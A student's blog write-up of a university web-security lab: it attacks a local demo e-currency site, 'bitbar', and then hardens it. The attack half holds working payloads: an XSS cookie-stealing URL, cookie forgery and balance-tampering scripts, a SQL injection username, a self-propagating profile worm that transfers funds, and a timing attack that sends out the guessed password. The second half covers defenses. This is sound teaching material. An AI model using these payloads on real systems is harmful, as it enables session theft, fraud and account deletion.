Here is my notes during this experiment. I will not provide with the entire answer directory, but you can get some useful snippets from this blog.
bitbar Experiments
Lab Title: Web Attacks and Defense
Lab Objective: Construct an attack and update the defense accordingly
Experimental environment: Providing e-currency services website - bitbar
Lab Requirements: https://cs155.stanford.edu/hw_and_proj/proj2/proj2.pdf
绯境之外~Outside of Scarlet No reproduction without permission.
Experimental content
Part 1: Attacks
1. Exploit Alpha: Cookie Theft
This experiment will exploit a reflective XSS vulnerability to steal user session cookies.
According to the question "Try to add random text at the end of the URL", it implies that there is a reflective XSS vulnerability in this input port to construct a malicious URL. Try to inject <script>
code into the /profile?username
query parameter to trigger a malicious script via reflective XSS.
Can not take effect, the return is the Login page, by observing the returned HTML source code and analyzing the backend logic, we know that the page will only be rendered if the loggedIn
state of the session is true, and this field can only be modified through the /get_login
and /get_register
routes req.session. loggedIn = true
.
/router.js
line 117
Since the page is only rendered when req.session.loggedIn === true
, we first use the example account user1
provided in the documentation to log in and gain access to the session. After trying to log in and trying again, an alert
popup is triggered via XSS injection. This proves that there is indeed an XSS vulnerability.
The title means that by visiting http://localhost:3000/profile?username=... to get a cookie and then send it to http://localhost:3000/steal_cookie?cookie=... .cookie
Since user1's login state is already in the browser's storage, and the page allows an attacker to implement stored xss injection capabilities. Then any malicious code can be executed.
In the meantime there are a few nitty-gritty issues, such as whether the site restricts cookies to Httponly, and if it does, then we can't get the cookie through the front-end code (e.g., the <script>
tag that xss often uses). The f12 view does not appear to have any security attributes set.
Also need to find out what to send to http://localhost:3000/steal_cookie?cookie=.... . cookie
. Now it seems to be under the same domain localhost:3000
, and the method is simply passing a parameter through the query, so there is no cross-domain concern.
Construct malicious js code uploads a document.cookie
to the /steal_cookie
route, and design it in such a way that the user should not notice extraneous visible text, such as does not exist
on the page above. Then the malicious code needs to add a callback that redirects to the normal page after the request completes (regardless of the state). The malicious code also needs to add a callback that redirects to the normal page after the request completes (in whatever state), ensuring that the attack goes unnoticed.
xxxxxxxxxx
fetch(`http://localhost:3000/steal_cookie?cookie=${document.cookie}`,{method: 'GET'}).then(response => {
window.location.replace('http://localhostP:3000/profile');
});
Successfully sent cookie to steal_cookie
and jumped to normal url
Also checking the terminal, it does show the session cookie that was stolen.
Finally, it needs to be designed in such a way that the user should not be able to detect extraneous visible text, such as does not exist
on the page above. Then the malicious code also needs to add a callback that jumps to the normal web page after the request is completed (regardless of the state).
This attack successfully steals session information and bounces the user to a normal page by extracting and sending a cookie
.
a.txt, constructed by the final url for, can be copied directly to the address bar to jump, after which you can see in the interrupt display
http://localhost:3000/profile?username=%3Cscript%3Efetch%28%60http%3A%2F%2Flocalhost%3A3000%2Fsteal_cookie%3Fcookie%3D%24%7Bdocument.cookie%7D%60%2C%7Bmethod%3A+%27GET%27%7D%29.then%28response+%3D%3E+%7B+++++window.location.replace%28%27http%3A%2F%2Flocalhost%3A3000%2Fprofile%27%29%3B+%7D%29%3B%3C%2Fscript%3E
2. Exploit Bravo: Cross-Site Request Forgery
This experiment will utilize the browser to automatically carry a cookie to spoof a transfer request.
To see the rater in action first, he will log into Bitbar and then load b.html in his web browser.
In addition, we know in the previous section, the page does not have any cookie security policy, the server does not verify the source of the request, no CSRF Token or SameSite restrictions. So when the browser requests localhost:3000
, it will automatically bring a cookie to the request.
In this attack, the simulation performs cross-site request forgery by constructing a malicious web page. The attacker was able to utilize a cookie automatically carried by the browser to forge a transfer request. By analyzing the server code, it was found that there was a security vulnerability in the transfer function, and the attacker was able to transfer funds through the forged POST request, which led to the transfer of funds in the account. The final html file is shown in b.html
Below is the discovery when doing this round of experiment, need ctrl+c and again sh ``start_server.sh
can't clear the effect of the last experiment (i.e. after restarting the experiment, the initial account balance is the value at the end of the last experiment, can't be initialized to 200), you have to clear all the session cookies stored in your browser in order to get rid of them. Reviewing the source code reveals that
/router.js
line138
xxxxxxxxxx
else { // visitor did not make query, show them their own profile
render(req, res, next, 'profile/view', 'View Profile', false, req.session.account);
}
When querying your own account, use req.session.account
to query the account balance directly. This value is directly involved in the business logic that follows.
Another code snippet for transferring money.
/router.js
line168
xxxxxxxxxx
const amount = parseInt(req.body.quantity);
if(Number.isNaN(amount) || amount > req.session.account.bitbars || amount < 1) {
render(req, res, next, 'transfer/form', 'Transfer Bitbars', 'Invalid transfer amount!', {receiver:null, amount:null});
return;
}
Judge the reasonableness of the transfer (whether the amount to be transferred is greater than the amount contained in itself) is also by reading the state of the front-end session storage for the subsequent business logic, so in the experiment I also encountered each restart after the experiment after the transfer of money, the amount of money is the cumulative reduction (rather than the expected 200-10 = 190)
Anyway, the session cookie needs to be cleared, which is done by re-requesting the real account balance from the database. The reasons for this phenomenon will be explained later.
3. Exploit Charlie: Session Hijacking with Cookies
Through the above analysis, we know that the back-end completely through the front-end return req.session (extracted from the request cookie) to perform the logic, and now we are required to hijack the victim's session cookie. then a very clear idea is to find out how to encrypt from the back-end source code of the user's uid and other information to get the logic of req.session so that you can Fully obtain the victim's req.session
First look at the cookie for logged in users
xxxxxxxxxx
eyJsb2dnZWRJbiI6dHJ1ZSwiYWNjb3VudCI6eyJ1c2VybmFtZSI6InVzZXIxIiwiaGFzaGVkUGFzc3dvcmQiOiI4MTQ2ZmYzM2U4MTVlMWEwOGVhZTJiNDczYmYyY2NhMTU5NTgyZTQzNGM1MjUyNGMzMzI1ZjA2ZThjMmI4MGQ5Iiwic2FsdCI6IjEzMzciLCJwcm9maWxlIjoiIiwiYml0YmFycyI6MjAwfX0 =
It looks like a base64 encoding of the encrypted session information, so let's decode it.
xxxxxxxxxx
atob(document.cookie.substring(8));
'{"loggedIn":true,"account":{"username":"user1","hashedPassword":"8146ff33e815e1a08eae2b473bf2cca159582e434c52524c3325f06e8c2b80d9","salt":"1337","profile":"","bitbars":200}}'
Analyze the object after deserializing the decoded json. You can see that there are the loggedIn
, username
, bitbars
fields mentioned in the previous analysis. There is also a hashedPassword
field (length = 64) that was not part of the previous analysis, but this field, which has the ability to authenticate the user, is not used in the back-end to process sensitive operations such as money transfers. In other words, an attacker can spoof the session received by the server to transfer money without knowing the victim's password.
The attacker attacker forged the javascript code of user user1 as follows (c.txt
)
xxxxxxxxxx
const obj = {
'loggedIn' : 'true',
'account' : {
'username' : 'user1',
'hashedPassword' : '1111111111111111111111111111111111111111111111111111111111111111',
'salt' : '1337',
'profile' : '',
'bitbars' : '200', // 保留200个bitbars初始情况, 如果想的话甚至可以任意修改该字段
}
};
const session_str = btoa(JSON.stringify(obj));
document.cookie = `session=${session_str}`;
The attack successfully forges a session by analyzing the structure of the session cookie. By decoding and modifying the cookie
, the attacker was able to spoof the req.session
, gain full control of the target account, and even transfer funds.
4. Exploit Delta: Cooking the Books with Cookies
Cookies are used to falsify books
Following the above analysis of router.js
, when the data in the req.session is allowed to be transferred, the transfer operation is performed, and the resultant data after the transfer is saved to the db, line174 is as follows
xxxxxxxxxx
req.session.account.bitbars -= amount;
query = `UPDATE Users SET bitbars = "${req.session.account.bitbars}" WHERE username == "${req.session.account.username}";`;
await db.exec(query);
const receiverNewBal = receiver.bitbars + amount;
query = `UPDATE Users SET bitbars = "${receiverNewBal}" WHERE username == "${receiver.username}";`;
await db.exec(query);
render(req, res, next, 'transfer/success', 'Transfer Complete', false, {receiver, amount});
Combined with the rater's actions in the document, the malicious workflow should be as follows
Scorer creates account -> copy and paste malicious code to make session.bitbars
1,000,001 -> transfer 1, triggers database to write new account bitbars ``= 1,000,000
-> logout and log back in to confirm bitbars
in database
In order to modify session.bitbars
, first get the original doocument.cookie
, then parse it and modify the corresponding fields, and finally re-assign the value to doocument.cookie
.
Construct the malicious code as follows (d.txt
)
xxxxxxxxxx
const sessionJson = atob(document.cookie.substring(8)); // json
const obj = JSON.parse(sessionJson);
obj.account.bitbars = 1000001;
document.cookie = `session=${btoa(JSON.stringify(obj))}`;
Create a user and paste the malicious code in the console.
Transfer a bitbar to user1 after execution.
Now log out and clear your cookies and log back in to check your account balance. It's still growing at the time of the screenshot
Using forged session information, an attacker is able to set unreasonable values in the account balance, such as setting bitbars
to an extremely high number, and then make a transfer. This type of operation, by modifying session.bitbars
, can falsify the ledger record and make illegal fund transfers.
5. Exploit Echo: SQL Injection
The question asks us to click 'Close' to cancel our account and user3's account. First look at the network request after clicking Close
The request is of type GET, there is no request body, there is no query param. The only field in the request that identifies the origin of the user is the cookie. Therefore, it is assumed that the server is using the username parsed from the cookie as the username to be deleted.
Review the source code for further validation
``router.js
line96
xxxxxxxxxx
router.get('/close', asyncMiddleware(async (req, res, next) => {
if(req.session.loggedIn == false) {
render(req, res, next, 'login/form', 'Login', 'You must be logged in to use this feature!');
return;
};
const db = await dbPromise;
const query = `DELETE FROM Users WHERE username == "${req.session.account.username}";`;
await db.get(query);
req.session.loggedIn = false;
req.session.account = {};
render(req, res, next, 'index', 'Bitbar Home', 'Deleted account successfully!');
}));
This is exactly what I suspected. In addition, the executed sql string is spliced with a username, which is obviously a good way to do sql injection via username.
According to the rater's instructions in the title, we only need to make sure that user3(user3) is deleted, so the malicious username we constructed is
" OR username == "user3"
so the sql statement would be DELETE FROM Users WHERE username == "" OR username == "user3"
thus deleting user3
Trying to log in to user3. This injection statement resulted in the deletion of the user3
account, which led to the successful execution of the attack.
6. Exploit Foxtrot: Profile Worm
The Home page allows you to edit your profile, and when you see the input box, you first try to see if you can do stored XSS.
Go to the profile page and pop up a warning window to confirm the existence of the XSS vulnerability, this task will design malicious code to achieve infection.
According to the question, the malicious code should contain the following characteristics
The number of Bitbars that other users see when viewing an infected profile should be displayed as 10.
Other users should immediately transfer 1 Bitbar to the attacker who launched the infection within a short time after opening the infected profile (if there is no currency then do not do the behavior)
Other users who view an infected profile will have their own profiles infected in the same way, and this infectivity can be spread to any subsequent users who view their profiles.
For the first task, the original idea was to modify the DOM via script. In the profile page, the id of the element displaying the x bitbars is bitbar_display
.
xxxxxxxxxx
document.addEventListener("DOMContentLoaded", function() {
var bitbarElement = document.getElementById("bitbar_display");
if (bitbarElement) {
bitbarElement.textContent = '10 bitbars';
}
});
However, the page implements a page that dynamically changes the balance, forcing the #bitbar_display
element to be set causes the real balance to be displayed due to script effects.
view.ejs
line25
xxxxxxxxxx
<span id="bitbar_count" class="<%= result.bitbars %>" />
<script type="text/javascript">
var total = eval(document.getElementById('bitbar_count').className);
function showBitbars(bitbars) {
document.getElementById("bitbar_display").innerHTML = bitbars + " bitbars";
if (bitbars < total) {
setTimeout("showBitbars(" + (bitbars + 1) + ")", 20);
}
}
if (total > 0) showBitbars(0); // count up to total
</script>
So now the logic becomes modify the DOM after the page is loaded, do not display the original element, at the same time in this element before the insertion of a new element to display the balance of the element, and then through the script to add up to 10
xxxxxxxxxx
document.addEventListener("DOMContentLoaded", function () {
var bitbarElement = document.getElementById("bitbar_display");
if (bitbarElement) {
// 原先的隐藏
bitbarElement.style.display = 'none';
// 新建
const newBitbarElement = document.createElement('p');
newBitbarElement.id = 'fake_bitbar_display';
// insert
bitbarElement.insertAdjacentElement('afterend', newBitbarElement);
// 定时器开始count up
const total = 10;
let current = 0;
function showBitbars(current) {
newBitbarElement.innerHTML = `${current} bitbars`;
if (current < total) {
setTimeout(() => {
showBitbars(current + 1);
}, 30);
}
}
showBitbars(current);
}
});
The second task, transferring money through script request transfer api is solved.
xxxxxxxxxx
const do_transfer = () => {
// 如果金额 >= 1再转
const sessionJson = atob(document.cookie.substring(8)); // json
const obj = JSON.parse(sessionJson);
if (obj.account.bitbars < 1) return;
fetch("http://localhost:3000/post_transfer", {
"credentials": "include",
"headers": {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Type": "application/x-www-form-urlencoded",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Priority": "u=0, i",
"Pragma": "no-cache",
"Cache-Control": "no-cache"
},
"referrer": "http://localhost:3000/transfer",
"body": "destination_username=attacker&quantity=1",
"method": "POST",
"mode": "cors"
});
};
do_transfer();
The third task, how other users can modify their own profiles through their scripts after viewing an infected profile
Take a look at the "set profile" request, which initiates a POST request with body type application/x-www-form-urlencoded, and the same-origin request carries the cookie information.
In the profile page, the id of the profile element is profile
, and the element contains all of the content previously written in the profile text
, including the visible content and the <script>.
To infect your own profile you should get the content of the element and use it to set your own profile, paying attention to the URI encoding and carrying a cookie.
x
const do_setProfile = () => {
// 获得个人资料中的内容
const profile_content = document.getElementById('profile').innerHTML;
const profile_body = `new_profile=${encodeURIComponent(profile_content)}`;
fetch("http://localhost:3000/set_profile", {
"credentials": "include",
"headers": {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Type": "application/x-www-form-urlencoded",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Priority": "u=0, i",
"Pragma": "no-cache",
"Cache-Control": "no-cache"
},
"referrer": "http://localhost:3000/",
"body": profile_body,
"method": "POST",
"mode": "cors"
});
};
do_setProfile();
Splice the above three snippets and wrap them in <script>
tags, and splice in a display string for the attacker's profile (f.txt
).
Now log in to user1, try to use that account to view the attacker's profile, observe the network requests, and the current balance is 225.
You can see that after user1 observes the attacker's account, the attacker's profile shows the number of bitbars as 10 (although the actual amount of the attacker's money is 1000001), and at the same time, user1 also initiates the post_transfer
and set_profile
requests
Since the personal data has been changed, I checked user1's balance on the command line, and found that it has changed to 224, which is consistent with the transfer 1 bitbar.
Now use user2 to look at user1's profile and find that it is infected, and at the same time user2 is also infected and makes requests that are not expected by the user.
A stored XSS vulnerability exists in the Profile
page. An attacker is able to modify the number of bitbars
to a fixed value (e.g., 10) by injecting a malicious script and directing other users to transfer funds to the attacker's account. By doing so, the attacker is able to infect other users' profile pages and cause funds to be transferred.
7. Exploit Gamma: Password Extraction via Timing Attack
I asked for a malicious script to be placed in the username input box, but after trying <script type='text/javascript'>
as the username, it returned < type='text/java'
>, which at first I thought was a browser protection. But then I reviewed the source code and realized that
router.js
line181
x
} else { // user does not exist
let q = req.body.destination_username;
if (q == null) q = '';
let oldQ;
while (q !== oldQ) {
oldQ = q;
q = q.replace(/script|SCRIPT|img|IMG/g, '');
}
render(req, res, next, 'transfer/form', 'Transfer Bitbars', `User ${q} does not exist!`, {receiver:null, amount:null});
The backend rendering back to the frontend strongly detects and removes the script and Img tags, but there are other tags that we can use to execute scripts, such as <iframe>
.
For example, if you enter the following malicious username in the input box, you can override the rules for XSS injection, and you can see the logs in the console
x
<span style='display:none'>
<iframe src='http://localhost:3000' onload='const myfn = ()=>{
console.log(`test`);
console.log(`xss`);
};
myfn();'></iframe>
</span>
We have already designed the injection method, now we design the logic for the malicious code. The topic requirement tells us that in this case "When a request contains the correct password, the web server may take longer to respond to a login request than a request with the wrong password". So design the loop, try the login request using each of the passwords from the password dictionary given in gamma_starter.html
, get the average login time and finally take the largest time as the possible password and try the login.
In addition, the request should be careful to disable caching. The title also states that there is a race condition between each login request, so each login attempt should be blocking.
x
async function try_login(pwd) {
const username = `userx`;
const login_url = `http://localhost:3000/get_login?username=userx&password=${pwd}`;
return fetch(login_url, {
credentials: `omit`,
method: `GET`
});
};
const dictionary = [`password`, `123456`, `12345678`, `dragon`, `1234`, `qwerty`, `12345`]; // 这个12345678有意外的空格
const pwdToTime = {};
const count = 3;
async function loop_login() {
for (let cnt = 0; cnt < count; cnt++) {
for (const pwd of dictionary) {
let sum = pwdToTime[pwd] ?? 0;
const first = Date.now();
await try_login(pwd); // 单词尝试登陆, 阻塞
sum += Date.now() - first;
pwdToTime[pwd] = sum;
}
}
// 取总计时间最大者
const maxTimeKey = Object.entries(pwdToTime).reduce((max, entry) => entry[1] > max[1] ? entry : max)[0];
return [maxTimeKey, pwdToTime[maxTimeKey]];
};
(async () => {
const [pwd, sumTime] = await loop_login();
// 上交猜测的密码和平均时间
fetch(`http://localhost:3000/steal_password?password=${pwd}&timeElapsed=${Math.ceil(sumTime / count)}`);
})();
The final code has been put into g.txt
, and the comments of the above code will be removed during the merge.
In addition, the null merge operator?
is an ES11 feature, which can't be used in the back-end business code, I passed the test in the latest version of firefox.
In the Transfer To box, enter the malicious username in g.txt
, and you can see the page launching a web request, and finally sending the password dragon
to the specified path.
In addition, the length of each return message from the server's terminal shows that dragon is indeed the final password. The exaggerated time elapsed is due to the server sleeping
for 2 seconds during get_login
processing for the correct password.
This attack successfully extracted the password of userx
.
Part 2: Defenses Defenses against Part 1 Attacks
1 XSS Injection Prevention
The simplest of thoughts.
Remove danger tags from all user sections that may have a Reflected XSS vulnerability (user content participating in the rendering process).
Delete hazardous labels before storing user inputs in the database.
The following function removes hazardous tags, which are processed by regular expression match removal.
x
function sanitizeHTML(text) {
if (!text) return '';
// 保留允许的标签
const allowedTags = ['b', 'u', 'i', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p'];
// 先移除所有 script 标签及其内容
let sanitized = text.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
// 移除危险属性
sanitized = sanitized.replace(/on\w+\s*=\s*["']?[^"']*["']?/gi, '');
// 移除iframe, object, embed等危险标签
sanitized = sanitized.replace(/<(iframe|object|embed|img|script|form|input)[^>]*>/gi, '');
// 处理不在允许列表中的标签
const tagRegex = /<\/?([a-z][a-z0-9]*)\b[^>]*>/gi;
sanitized = sanitized.replace(tagRegex, (match, tag) => {
return allowedTags.includes(tag.toLowerCase()) ? match : '';
});
return sanitized;
}
A typical case of modification is modifying /profile
processing.
In this code, even if the user user1 <script>alert(233)</script>
exists in the database, the malicious username will not appear on the user's front end after the return rendering.
x
router.get('/profile', asyncMiddleware(async (req, res, next) => {
if (await JudgeNotLogin(req)) {
render(req, res, next, 'login/form', 'Login', 'You must be logged in to use this feature!');
return;
};
if (req.query.username != null) { // if visitor makes a search query
const db = await dbPromise;
const query = `SELECT * FROM Users WHERE username == "${req.query.username}";`;
let result;
try {
result = await db.get(query);
} catch (err) {
result = false;
}
if (result) { // if user exists
render(req, res, next, 'profile/view', 'View Profile', false, result);
}
else { // user does not exist
const query_username = sanitizeHTML(req.query.username);
render(req, res, next, 'profile/view', 'View Profile', `${query_username} does not exist!`, req.session.account);
}
} else { // visitor did not make query, show them their own profile
render(req, res, next, 'profile/view', 'View Profile', false, req.session.account);
}
}));
2 cookie validation
authentication of user cookies, due to the title restrictions we must not install third-party packages can not use modern JWT and other programs, so here is another way.
The simplest (and least performance-conscious) idea is to process the user's session once per request, and if the session claims to be logged in, verify that the username and salted password in the account field correspond to the results in the database. In addition, reset the session bitbars to the real values requested by the database to prevent the user from tampering with the value in the cookie (assuming the integrity of the database transaction).
Replace all places where req.session.loggedIn ``== false
all to await ``JudgeNotLogin``()
This function uniformly determines and verifies whether the currently requested session (req.session
) is in the legal state of "logged in", and synchronously updates the user data in the session when it passes. If an exception is thrown at any step (user doesn't exist, password doesn't match, database exception, etc.), it will be caught and return true
("not logged in/authentication failed").
Why do this replacement, because in the original back-end business, these places to do judgment loggedIn is to determine whether the user session for the login state, although the practice is not safe but the timing of the function call is correct.
Now test attack 1,3,4, all failed, on the one hand can not modify the amount of money handled in the business logic by changing the amount displayed in the console. On the other hand, it is not possible to gain control of other users by modifying only session.username
.
3 sql injection prevention
This will only be changed where the user input controls the sql statement (where the sql statement splices in any field of the req
), in favor of a parameterized query.
For example, in /close
x
router.get('/close', asyncMiddleware(async (req, res, next) => {
if (await JudgeNotLogin(req)) {
render(req, res, next, 'login/form', 'Login', 'You must be logged in to use this feature!');
return;
};
const db = await dbPromise;
const query = `DELETE FROM Users WHERE username == ?;`;
await db.get(query, [req.session.account.username]);
req.session.loggedIn = false;
req.session.account = {};
render(req, res, next, 'index', 'Bitbar Home', 'Deleted account successfully!');
}));
After testing, using malicious username" OR username == "user3 ``request/close
, user3 not deleted
4 CSRF prevention
Due to the limitations of the topic requirements can not be enabled Cookie SameSite attribute and the same origin detection, here the use of CSRF Token methods
If a browser requests a page, the browser generates a CSRF Token when it renders the page, and implants that string into the returned page.
If the browser initiates a POST request, it needs to bring the CSRF Token from the page, and then the server will start the process of verifying whether the Token is legitimate or not when it receives the POST request. If the request is sent from a third-party site, the CSRF Token value will not be available, so even if the request is sent, the server will reject the request because the CSRF Token is incorrect.
Specifically for this application, the server will generate a new Token for each page requested and render it to the invisible <input>
in the form (if any), in addition to storing the Token in the server's session (so that you can assume that each session has a Token corresponding to it), for subsequent verification of whether the CSRF TOKEN is legitimate.
Each time the server receives a POST request, it compares the Token in the request header (as it is in the<input
>) with the Token in the session.
x
function render(req, res, next, page, title, errorMsg = false, result = null) {
// 每次渲染都重置一次csrf_token
// 生成
const csrf_token = generateRandomness();
// 存储
if (req.session.account.username) {
username_csrfToken[req.session.account.username] = csrf_token;
}
res.render(
'layout/template', {
page,
title,
loggedIn: req.session.loggedIn,
account: req.session.account,
errorMsg,
result,
csrf_token,
}
);
}
function judgeCsrfToken(req) {
// 新增 csrf_session
// 从req中获得account和account.username
console.log('csrf middleware start');
const account = req.session.account;
let csrfToken = "";
if (account.username) {
// 存在username, 即不是匿名的account = {}
csrfToken = username_csrfToken[account.username] || "";
console.log("登录状态", username_csrfToken);
} else {
console.log('匿名');
}
console.log(`judege csrf src=${req.body.csrf_token} dst=${csrfToken}`);
// 验证是否和储存在session的一致
return req.body.csrf_token === csrfToken;
}
Now you can defend part1 of 2 attacks, the following chart in the server back-end will be csrf token judgment, comparison is not the same, at the same time to see user1 account balance did not change.
5 Side-channel timing attack
Analyze the logic of the back-end found that all login requests in the back-end processing time will not exceed 1 second (the source code of the branch of the successful login to force sleep 2 seconds), so for all the login requests, we have to strictly control the processing time in the back-end and each request time to add perturbation, all the mandatory delay in the total request time to reach the
x
router.get('/get_login', asyncMiddleware(async (req, res, next) => {
const currentTime = Date.now();
const db = await dbPromise;
const query = `SELECT * FROM Users WHERE username == ?;`;
const result = await db.get(query, [req.query.username]);
let return_func = () => {
render(req, res, next, 'login/form', 'Login', 'This username and password combination does not exist!');
return;
};
if (result) { // if this username actually exists
if (checkPassword(req.query.password, result)) { // if password is valid
// await sleep(2000);
req.session.loggedIn = true;
req.session.account = result;
return_func = () => {
render(req, res, next, 'login/success', 'Bitbar Home');
return;
};
}
}
setTimeout(() => {
return_func();
}, 1800 + Math.random() * 400 - (Date.now() - currentTime));
}));
Since XSS injection has been prevented, here is a direct test of the attack using the runtime method in the console7
You can see that the login time is set as expected, with a slight error caused by the setTimeOut
itself), and as a result, it seems that it is no longer possible to determine the correct password by the time difference.
0 评论:
发表评论